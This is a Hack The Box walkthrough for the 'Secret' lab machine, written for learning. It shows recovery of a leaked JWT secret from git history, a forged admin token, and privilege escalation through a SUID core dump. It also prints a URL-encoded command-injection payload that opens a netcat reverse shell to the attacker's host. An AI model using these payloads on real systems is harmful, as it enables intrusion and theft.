HTB: Secret
- TLDR -

...

Intro:

This box was a fun way to learn about how JWT works and why you should be extremely paranoid when uploading code.

Recon:

Recon is the standard nmap scan: nmap -sT -sV -v -O -p - -n <target ip> with a pretty standard result of ports 22, 80, and 3000.

We can ignore 22 (as it's almost never of any interest) and checkout port 80. It shows the docs page for an API. Reading through reveals the API runs on port 3000. Further reading shows how to create a user, authenticate, and test connections.

Near the bottom of the page is a link to download a zip of the source code. The source code reveals a .git directory, which shows the git history where the author removed a secret from .env. We can find the author's GitHub by going to their website -> Projects (top menu) -> "view more projects in my Github"

Forging JWTs:

Navigating to the Github repo (auth-api), we can see the commit changes, where one is commented "Updated .env". Checking it out reveals a previously redacted token secret. This secret is used to sign JWT tokens used to authorize users.

Going to JWT.io, we can create a token with the values "name":"theadmin" ([1]). We only need this one value because in the source code, under routes/private.js we can see that the only admin verification is the name.

We can verify our admin status with:

curl http://10.10.11.120:3000/api/priv -H "Content-Type: application/json" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGhlYWRtaW4ifQ.GDRG1ileUj55S0ZdAAZhtUz28Hz4s7fHgqbiES5Qr7s'

Getting User:

Once we have admin, we can exploit the /logs path (found in routes/private.js of the source code) to inject code and get a reverse shell. The code looks for the "file" parameter in a GET request and inserts it into a git command. We can exit the git command and writre any command we want. Start a netcat listener and using curl, call the API with the code injection (remember to change the IP at the end!):

curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGhlYWRtaW4ifQ.GDRG1ileUj55S0ZdAAZhtUz28Hz4s7fHgqbiES5Qr7s' 'http://10.10.11.120:3000/api/logs?file=;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20<your ip>%20<your port>%20%3E%2Ftmp%2Ff'

[4]

Once we get the connection back, we can see we're logged in as "dasith", indicating we are a normal user (as compared to the normal "www-data" web user). Get the user flag from /home/dasith/user.txt

Getting Root:

After getting user, we can look for SUID binaries [2] and find one in /opt named "count". This binary will read a file and show information on it such as the numberof characters. To get root we need to let it read a target file (in this case "/root/root.txt"), crash it, then read the core dump to find the contents of the target file [3].

In order, we need to:

  1. Run the count binary and give it the path to root.txt when prompted
  2. Put it in the background when it asks if we want to save the output
  3. Kill it with SIGSEGV
  4. Bring it back to foreground
  5. Run apport-unpack on an empty directory we control (make one in temp)
  6. Parse the resulting CodeDump file for the flag

After that jsut submit and party!




Resources:

JWT builder [EXTERNAL]


Linux SUID Priv Esc


SUID Core Dump [EXTERNAL]


Netcat Web Friendly




Last edit: 2022.02.27